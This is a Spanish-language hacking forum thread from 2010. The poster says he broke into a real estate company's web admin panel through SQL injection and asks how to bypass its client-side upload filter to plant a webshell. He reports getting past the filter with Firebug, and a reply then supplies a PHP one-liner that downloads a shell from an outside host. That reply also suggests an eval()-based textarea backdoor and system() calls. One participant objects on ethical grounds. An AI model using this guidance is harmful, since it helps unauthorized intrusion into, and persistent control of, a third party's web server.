Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: nuevaorden en 26 Marzo 2010, 15:26 pm



Título: Filtrar Uploader para subir webshell
Publicado por: nuevaorden en 26 Marzo 2010, 15:26 pm
Saludos,

He podido accecer a l'administración web mediante SQLi de una inmobiliaria, el tema es intento subir un fichero Shell "rc99" pero el filtro que tiene template me tira error.

He provado con poner lo normal foto.jpg.php , nada lo salta, luego con el Live Http headers he intentado si podia capturar los headers para modificarlo pero no me da nada........

Si alguien tiene alguna idea como bypasear-lo ???!!!!

El codigo fuente o porcion del mismo es este:



<div id="estadoNuevo"
         style="display: block; font-size: 11px; color: #333333"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Nueva Fotografía</strong>
      </div>

      <div id="estadoEdicion"
         style="display: none; font-size: 11px; color: #333333"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Editar Fotografía</strong>
      </div>

      <table border="0">
         <tr>
            <td valign="top" width="400px"><!--Imagen 1-->
            <div id="Img1" style="width: 400px; display: block; padding: 1.5em">
            <table border="0">
               <tr>

                  <td>
                  <div align="right">
                  <div id="Img1_KO" style="display: none"><img
                     src="./images/extension_ko.gif" alt="Fotografía Incorrecta" /></div>
                  <div id="Img1_OK" style="display: none"><img
                     src="./images/extension_ok.gif" alt="Fotografía Correcta" /></div>
                  <div style="display: inline">Fotografía:&nbsp;&nbsp;</div>
                  </div>
                  </td>

                  <td colspan="3">

                  <div style="display: inline"><input id="input_Img1"
                     name="input_Img1" type="file" size="39"
                     onChange="comprueba_extension(this.form, this.form.input_Img1.value, 1, 'Comprueba la extensión de los archivos a subir.\nSólo se pueden subir archivos con extensión:')" />
                  </div>
                  </td>
               </tr>


Título: Re: Filtrar Uploader para subir webshell
Publicado por: nuevaorden en 26 Marzo 2010, 15:35 pm
Y aqui os dejo la funcion uploader:



</script> <script language="javascript">

//Uploader
function comprueba_extension(formulario, archivo, imagen, mensaje) {
   extensiones_permitidas = new Array(".jpg");
   mierror = "";
   //if (!archivo) {
      //Si no tengo archivo, es que no se ha seleccionado un archivo en el formulario
       //mierror = "No has seleccionado ningún archivo";
   //}else{
      //recupero la extensión de este nombre de archivo
      extension = (archivo.substring(archivo.lastIndexOf("."))).toLowerCase();
      //alert (extension);
      //compruebo si la extensión está entre las permitidas
      permitida = false;
     
      for (var i = 0; i < extensiones_permitidas.length; i++) {
         if (extensiones_permitidas == extension) {
         permitida = true;
         break;
         }
      }
      if (!permitida) {
        mierror = mensaje + extensiones_permitidas.join();
      
      
      checkKO = document.getElementById('Img' + imagen + '_KO');
      checkKO.style.display = 'inline';
      
      checkOK = document.getElementById('Img' + imagen + '_OK');
      checkOK.style.display = 'none';
      
      colorInput = document.getElementById('input_Img' + imagen);
      colorInput.style.color = '#CC3300';

      oculta_btnGuardar =  document.getElementById('guardaImg' + imagen);
      oculta_btnGuardar.style.display = 'none';
      
       }else{
     
      //alert(archivo);
          //submito!
         //alert ("Todo correcto. Voy a submitir el formulario.");
         //formulario.submit();
      
      checkOK = document.getElementById('Img' + imagen + '_OK');
      checkOK.style.display = 'inline';
      
      checkKO = document.getElementById('Img' + imagen + '_KO');
      checkKO.style.display = 'none';
      
      colorInput = document.getElementById('input_Img' + imagen);
      colorInput.style.color = '#71A410';
      
      muestra_btnGuardar =  document.getElementById('guardaImg' + imagen);
      muestra_btnGuardar.style.display = 'block';
      
      nombre = document.getElementById('nomImg' + imagen);
      if (nombre.value == ''){
         archivo = document.getElementById('input_Img' + imagen);
         nombre_archivo = (archivo.value.substring(archivo.value.lastIndexOf('\\')));


         var indice = nombre_archivo.indexOf ('.jpg');
         nombre_archivo = nombre_archivo.substr (0,indice);

         var navegador = navigator.appName;
         if (navegador == "Microsoft Internet Explorer"){
            nombre_archivo = nombre_archivo.substr (1);
         }

         nombre.value = nombre_archivo;
      }
      
      
        return 1;
       }
     
   //}
   //si estoy aqui es que no se ha podido submitir
   alert (mierror);
   return 0;
}


Título: Re: Filtrar Uploader para subir webshell
Publicado por: NikNitro! en 26 Marzo 2010, 15:44 pm
Cómprate un libro de ETICA y léete las normas del foro!!!
S@lu2 ;)


Título: Re: Filtrar Uploader para subir webshell
Publicado por: nuevaorden en 26 Marzo 2010, 15:47 pm
Ok muchas gracias por la ayuda, perdon si he saltado alguna norma....... y gracias por la ayuda a los newbaby.

salu2


Título: Re: Filtrar Uploader para subir webshell
Publicado por: tragantras en 26 Marzo 2010, 15:57 pm
que clase de Uploader es ese que comprueba la validez de los archivos el propio cliente? (javascript) y no el servidor (php por ejemplo)...



Título: Re: Filtrar Uploader para subir webshell
Publicado por: nuevaorden en 26 Marzo 2010, 16:05 pm
salu2, es un crs de una compañia de españa, he podido saltarme la protección mediante el Firebug, poniendo un BP aquí function comprueba_extension(formulario, archivo, imagen, mensaje) {   , luego puedo modificar en el panel de la derecha la extensión de php a jpg i bingo me deja subir..... pero al pulsar luego un boton de guardar .... aix me sale un popup y me dice que no cumple con el tamaño adecuado!!!

Suiguiendo......


Título: Re: Filtrar Uploader para subir webshell
Publicado por: nuevaorden en 26 Marzo 2010, 16:06 pm
se llama CRSManager.....


Título: Re: Filtrar Uploader para subir webshell
Publicado por: WHK en 26 Marzo 2010, 21:49 pm
usa un script que guarde otro script y así evitas el problema del tamaño:

Código
  1. <?php file_put_contents('shell.php', file_get_contents('http://www.miweb/shell.txt')); ?>

Después cuando lo visualizes el mismo script te va a descargar la shell y ya la hiciste.
Si no te deja bajar nada entonces pruebas con un formulario en un textarea y todo lo que le pases via post lo procesas en eval() y con eso ya puedes experimentar ver archivos con glob(), mover y copiar con move() ver phpinfo(), usar sytem() si es que te deja, etc etc y si puedes sobreescribir archivos entonces hazle un file_put_contents() con la shell en php y ya la hiciste.